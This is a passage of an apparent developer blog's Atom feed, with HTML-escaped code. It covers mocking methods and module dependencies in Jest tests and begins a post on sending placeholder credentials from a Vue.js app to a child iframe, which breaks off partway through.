&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      .&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;spyOn&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;component&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bar&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      .&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;mockReturnValue&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;my-mock-name&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; actual&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; component&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    expect&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;actual&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;toEqual&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;expected&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first step is to call &lt;code&gt;jest.spyOn(component, &#39;bar&#39;)&lt;/code&gt;. This will replace the
&lt;code&gt;component.bar&lt;/code&gt; method with a mock version. By default the mock version will
behave like the original method. Spying on a method has other benefits (like
being able to assert the number of times a method is called), but those won&#39;t be
discussed in this article.&lt;/p&gt;
&lt;p&gt;Once we&#39;ve replaced the original method with our spy, we can now call
&lt;code&gt;.mockReturnValue(&#39;my-mock-name&#39;)&lt;/code&gt; on it that will change the original method so
it now always return &lt;code&gt;my-mock-name&lt;/code&gt; when called.&lt;/p&gt;
&lt;p&gt;The last step is to call &lt;code&gt;jest.restoreAllMocks()&lt;/code&gt; in the &lt;code&gt;afterEach&lt;/code&gt; hook.
&lt;code&gt;afterEach&lt;/code&gt; is called after each test, and &lt;code&gt;restoreAllMocks&lt;/code&gt; will restore all
our spies to their original methods. If we don&#39;t do that, all our
&lt;code&gt;component.bar&lt;/code&gt; calls in all our tests will always return &lt;code&gt;my-mock-name&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Mocking dependency methods&lt;/h2&gt;
&lt;p&gt;This first part was about mocking methods of one of our dependencies. But how do
you mock sub-dependencies? Let&#39;s update our component so it now uses one of its
own dependencies:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; dependency&lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;dependency&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; component&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      id: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      name: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;bar&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; default&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; component&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is no &lt;code&gt;component.bar&lt;/code&gt; method anymore here as &lt;code&gt;component&lt;/code&gt; is directly
calling its &lt;code&gt;dependency&lt;/code&gt; &lt;code&gt;.bar&lt;/code&gt; method. To mock dependencies, we need a bit more
plumbing.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; component&lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./component.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;jest&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;mock&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;dependency&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// &amp;#x3C;-- Here&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;describe&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;component&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  afterEach&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(()&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    jest&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;restoreAllMocks&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  it&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;should have the name set to the value of bar()&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Given&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; input&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 42&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; expected&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      id: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;42&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      name: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;my-mock-name&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // When&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; dependency&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;dependency&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// &amp;#x3C;-- Here&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    jest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      .&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;spyOn&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bar&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // &amp;#x3C;-- Here&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      .&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;mockReturnValue&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;my-mock-name&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; actual&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; component&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    expect&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;actual&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;toEqual&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;expected&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&#39;ve added &lt;code&gt;jest.mock(&#39;dependency&#39;)&lt;/code&gt; to our test file. It will tell Jest to
replace all &lt;code&gt;require&lt;/code&gt; and &lt;code&gt;import&lt;/code&gt; of &lt;code&gt;dependency&lt;/code&gt; with a mock object. This
means that whenever we will import &lt;code&gt;dependency&lt;/code&gt; (either in &lt;code&gt;component.js&lt;/code&gt; or in
our tests), it will be replaced with a mock version.&lt;/p&gt;
&lt;p&gt;Like we did in the previous example, we will hardcode the return value of the
&lt;code&gt;bar&lt;/code&gt; method in our test. This time, we first need to import it
(&lt;code&gt;const dependency = require(&#39;dependency&#39;)&lt;/code&gt;, so we can spy on it and mock its
return value.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Hope that overview can help others. It took me some time to understand how
mocking was working in Jest and I hope this will help other figure out all the
pieces.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tested with Jest v21.1.0&lt;/strong&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Sending data to an iframe with Vue.js</title>
    <link href="https://blog.pixelastic.com/2017/09/12/sending-data-to-an-iframe-with-vue-js/"/>
    <updated>2017-09-12T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2017/09/12/sending-data-to-an-iframe-with-vue-js</id>
    <content type="html">&lt;p&gt;Communicating from a parent window to a child iframe is a known problem in
JavaScript and has already been solved. How to do it in the context of a Vue.js
application is slightly different but based on the same principles.&lt;/p&gt;
&lt;p&gt;I was confronted with the matter yesterday and had to find an elegant way to
send data (credentials) from the parent window to a child iframe from my Vue.js
app. Here&#39;s how I did it.&lt;/p&gt;
&lt;h2&gt;Initial markup&lt;/h2&gt;
&lt;p&gt;Both the parent (main window) and child (iframe) need some specific markup for
this to work:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-jade&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&amp;#x3C;!-- App.vue template --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;iframe&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  src&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;./iframe.html&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  v-on:load&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;onLoadIframe&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;myIframe&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// App.vue script&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; findIframeByName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; _&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;window&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;frames&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;frame&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; frame&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; default&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  methods: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    onLoadIframe&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;      const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; iframe&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; findIframeByName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;currentTarget&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      iframe&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;doSomething&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        appID: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;SECRET_APP_ID&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        apiKey: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;SECRET_API_KEY&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&amp;#x3C;!-- iframe.html --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
